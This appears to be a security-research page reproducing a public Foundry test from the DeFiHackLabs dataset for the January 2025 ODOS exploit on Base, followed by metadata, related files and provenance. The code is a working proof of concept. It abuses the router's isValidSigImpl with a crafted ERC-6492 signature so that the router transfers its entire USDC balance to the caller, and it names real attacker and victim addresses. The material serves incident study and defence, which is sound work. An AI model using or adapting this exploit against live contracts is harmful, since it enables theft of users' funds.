Public reproduction file
src/test/2025-01/ODOS_exp.sol
Public reproduction file for dataset entry ODOS.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~50k8// Attacker : https://basescan.org/address/0x4015d786e33c1842c3e4d27792098e4a3612fc0e9// Attack Contract : https://basescan.org/address/0x22a7da241a39f189a8aec269a6f11a238b6086fc10// Vulnerable Contract : https://basescan.org/address/0xb6333e994fd02a9255e794c177efbdeb1fe779c711// Attack Tx : https://basescan.org/tx/0xd10faa5b33ddb501b1dc6430896c966048271f2510ff9ed681dd6d510c5df9f613// @Info14// Vulnerable Contract Code : https://basescan.org/address/0xb6333e994fd02a9255e794c177efbdeb1fe779c7#code16// @Analysis17// Post-mortem : 18// Twitter Guy : https://x.com/Phalcon_xyz/status/188263015158398178719// Hacking God : 21interface OdosLimitOrderRouter {22 function isValidSigImpl(23 address _signer,24 bytes32 _hash,25 bytes calldata _signature,26 bool allowSideEffects27 ) external returns (bool);28}30contract ContractTest is Test {31 OdosLimitOrderRouter odosLimitOrderRouterInstance =32 OdosLimitOrderRouter(0xB6333E994Fd02a9255E794C177EfBDEB1FE779C7);33 IUSDC USDCInstance = IUSDC(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);35 bytes32 ERC6492_DETECTION_SUFFIX = bytes32(hex"6492649264926492649264926492649264926492649264926492649264926492");37 function setUp() public {38 vm.createSelectFork("base", 25431001 - 1);40 vm.label(address(odosLimitOrderRouterInstance), "OdosLimitOrderRouter");41 vm.label(address(USDCInstance), "USDC");42 }44 function testExploit() public {45 emit log_named_decimal_uint(46 "[Start] Attacker USDC balance before exploit",47 USDCInstance.balanceOf(address(this)),48 649 );51 uint256 victimUSDCBalance = USDCInstance.balanceOf(address(odosLimitOrderRouterInstance));53 bytes memory customCalldata = abi.encodeCall(IUSDC.transfer, (address(this), victimUSDCBalance));54 bytes memory signature = abi.encodePacked(55 abi.encode(address(USDCInstance), customCalldata, bytes(hex"01")),56 ERC6492_DETECTION_SUFFIX57 );59 odosLimitOrderRouterInstance.isValidSigImpl(address(0x04), bytes32(0x0), signature, true);61 emit log_named_decimal_uint(62 "[End] Attacker USDC balance before exploit",63 USDCInstance.balanceOf(address(this)),64 665 );66 }67}Analysis
Dataset entry
Public Foundry test for “ODOS” (2025-01-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-01/98Token_exp.solSame month in the dataset · 53 lines
- src/test/2025-01/AIXBTForcedSwap_exp.solSame month in the dataset · 260 lines
- src/test/2025-01/Ast_exp.solSame month in the dataset · 111 lines
- src/test/2025-01/HORS_exp.solSame month in the dataset · 92 lines
- src/test/2025-01/IdolsNFT_exp.solSame month in the dataset · 81 lines
- src/test/2025-01/IPC_exp.solSame month in the dataset · 105 lines
- src/test/2025-01/JPulsepot_exp.solSame month in the dataset · 78 lines
- src/test/2025-01/LAURAToken_exp.solSame month in the dataset · 204 lines
- src/test/2025-01/LPMine_exp.solSame month in the dataset · 96 lines
- src/test/2025-01/MCAI_exp.solSame month in the dataset · 89 lines
- src/test/2025-01/Mosca_exp.solSame month in the dataset · 75 lines
- src/test/2025-01/Mosca2_exp.solSame month in the dataset · 78 lines
- src/test/2025-01/Paribus_exp.solSame month in the dataset · 188 lines
- src/test/2025-01/RoulettePotV2_exp.solSame month in the dataset · 72 lines
- src/test/2025-01/sorraStaking.solSame month in the dataset · 72 lines
- src/test/2025-01/Unilend_exp.solSame month in the dataset · 157 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x4015d786e33c1842c3e4d27792098e4a3612fc0e
- Attack Contract
0x22a7da241a39f189a8aec269a6f11a238b6086fc
- Vulnerable Contract
0xb6333e994fd02a9255e794c177efbdeb1fe779c7
- Attack Tx
0xd10faa5b33ddb501b1dc6430896c966048271f2510ff9ed681dd6d510c5df9f6
- Twitter: https://x.com/Phalcon_xyz/status/1882630151583981787
- Explorer: https://basescan.org/address/0x4015d786e33c1842c3e4d27792098e4a3612fc0e
- Explorer: https://basescan.org/address/0x22a7da241a39f189a8aec269a6f11a238b6086fc
- Explorer: https://basescan.org/address/0xb6333e994fd02a9255e794c177efbdeb1fe779c7
- Explorer: https://basescan.org/address/0xb6333e994fd02a9255e794c177efbdeb1fe779c7#code
File record
- Name
- ODOS
- Path
- src/test/2025-01/ODOS_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- ee250bd25a200c72275d39cdeeccaa9ab3069e9d
- Language
- Solidity
- Size
- 68 lines
- Date
- 2025-01-23
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-01/ODOS_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ee250bd25a200c72275d39cdeeccaa9ab3069e9d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.